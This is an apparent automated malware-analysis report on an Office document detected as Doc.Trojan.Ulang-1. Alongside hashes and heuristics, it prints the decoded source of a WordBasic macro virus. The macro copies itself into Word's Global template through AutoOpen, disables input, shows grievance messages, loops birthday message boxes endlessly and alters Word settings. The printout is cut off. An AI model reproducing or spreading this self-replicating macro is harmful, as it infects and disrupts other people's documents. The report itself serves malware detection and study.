Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a9032bedd564abd2…

MALICIOUS

Office (OLE)

44.0 KB Created: 1998-01-01 00:54:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 4cef9b3483925f6a8542b163dc808622 SHA-1: de0ad9b9575e734e34ae77bc58b2275c6cd068fc SHA-256: a9032bedd564abd2e692d21dda121508cdf5c6cd5b5bc033b39e5ea4f6175886
160 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains legacy WordBasic macro markers and an AutoOpen macro, strongly suggesting malicious intent. The presence of AutoExec and the embedded messages indicate the macro is designed to execute upon opening, likely to display a message or initiate further malicious activity. The ClamAV detection 'Doc.Trojan.Ulang-1' further supports the malicious classification.

Heuristics 4

  • ClamAV: Doc.Trojan.Ulang-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ulang-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7042 bytes
SHA-256: 20a33d96a941a9493e5d41ef764759e5a3585d5e6273534455269aee16f56b4e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "AutoExec"

Public Sub MAIN()
Attribute MAIN.VB_Description = "From NdeKlaimber™ with Love. \r\nJust for Pakis Pratiwi... wherever you are !"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoExec.MAIN"
Dim Tgl
Dim Bln
Dim Thn
Dim Jam
Dim Lebar
Dim Tinggi
Dim BarOK
Dim LebOK
Dim Pelaku$
WordBasic.DisableInput 1
WordBasic.DisableAutoMacros 0
Tgl = WordBasic.Day(WordBasic.Now())
Bln = WordBasic.Month(WordBasic.Now())
Thn = WordBasic.Year(WordBasic.Now())
Jam = WordBasic.Hour(WordBasic.Now())
Dim Pesan1$, Pesan2$, Pesan3$, Pesan4$, Pelaku1$, Pelaku2$
Pesan1$ = "Berawal dari sebuah kepedihan... NdeKlaimber™ dicampakkan dan dihinakan... terpuruk bagaikan sampah busuk... NdeKlaimber™ merintih dengan segumpal dendam mendidih !!!"
Pesan2$ = "Kini saatnya NdeKlaimber™ menunjukkan... masih adanya kekuatan untuk membungkam mulut-mulut tak berperasaan... sebab hasrat untuk menjadi yang terbaik adalah sesuatu yang sangat manusiawi... NdeKlaimber™ manangis harus melibatkan semua orang."
Pesan3$ = "©1997 NdeKlaimber™                  I'm Coming..."
Pelaku1$ = "NdeKlaimber"
Pelaku2$ = "Pakis Pratiwi"
If Thn < 1998 Then GoTo HUT
If Jam < 19 Then GoTo Akhir
Dim dlg As Object
    Lebar = 400
    Tinggi = 200
    BarOK = Tinggi - 25
    LebOK = Lebar - 40
    WordBasic.BeginDialog Lebar, Tinggi, " NdeKlaimber Menggugat ..."
        WordBasic.Text 20, 10, LebOK, 150, Pesan1$
        WordBasic.Text 20, 78, LebOK, 120, Pesan2$
        WordBasic.Text 20, 160, LebOK, 20, Pesan3$
        WordBasic.OKButton 20, BarOK, LebOK, 20
    WordBasic.EndDialog
Set dlg = WordBasic.CurValues.UserDialog
WordBasic.Dialog.UserDialog dlg
HUT:
If Tgl = 20 And Bln = 11 Then
    Pelaku$ = Pelaku1$
    GoTo Ultah
ElseIf Tgl = 19 And Bln = 8 Then
    Pelaku$ = Pelaku2$
    GoTo Ultah
End If
GoTo Lanjut
Ultah:
    Pesan4$ = "Hari ini " + Pelaku$ + " merayakan Hari Ulang Tahun... Matikan komputer, tinggalkan semua pekerjaan, istirahatkan pikiran, ucapkan selamat kepada " + Pelaku$ + "."
    WordBasic.Beep
    WordBasic.MsgBox Pesan4$, "Happy Birthday, " + Pelaku$ + "...", 16
    GoTo Ultah
Lanjut:
WordBasic.ToolsOptionsSave CreateBackup:=0, FastSaves:=0, SummaryPrompt:=0, GlobalDotPrompt:=0, NativePictureFormat:=0, EmbedFonts:=0, FormsData:=0, AutoSave:=1, SaveInterval:="5", Password:="", WritePassword:="", RecommendReadOnly:=0
WordBasic.ToolsOptionsGeneral Pagination:=1, WPHelp:=0, WPDocNavKeys:=0, BlueScreen:=0, ErrorBeeps:=1, Effects3d:=1, UpdateLinks:=1, SendMailAttach:=1, RecentFiles:=0, RecentFileCount:="", Units:=1, ButtonFieldClicks:=-1
WordBasic.ToolsOptionsUserInfo Name:="Pakis Pratiwi", Initials:="Tiwi", Address:="Pupus sudah asa NdeKlaimber™ mencari" + Chr(13) + "Alamat nyata belum jua terberi" + Chr(13) + "Kalau saudaraku sudi memberi" + Chr(13) + "Informasi NdeKlaimber™ menanti" + Chr(13) + "Seribu hatur kasih NdeKlaimber™ pasti"
Akhir:
End Sub

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Attribute MAIN.VB_Description = "From NdeKlaimber™ with Love. \r\nJust for Pakis Pratiwi... wherever you are !"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoOpen.MAIN"
Dim NFile$
Dim NMakro$
NFile$ = WordBasic.[FileName$]()
    On Error GoTo -1: On Error GoTo Akhir
    NMakro$ = NFile$ + ":AutoExec"
    WordBasic.MacroCopy NMakro$, "Global:AutoExec"
    On Error GoTo -1: On Error GoTo Akhir
    NMakro$ = NFile$ + ":AutoOpen"
    WordBasic.MacroCopy NMakro$, "Global:AutoOpen"
    On Error GoTo -1: On Error GoTo Akhir
    NMakro$ = NFile$ + ":FileOpen"
    WordBasic.MacroCopy NMakro$, "Global:FileOpen"
    On Error GoTo -1: On Error GoTo Akhir
    NMakro$ = NFile$ + ":FileSave"
    WordBasic.MacroCopy NMakro$, "Global:FileSave"
    On Error GoTo -1: On Error GoTo Akhir
    NMakro$ = NFile$
... (truncated)

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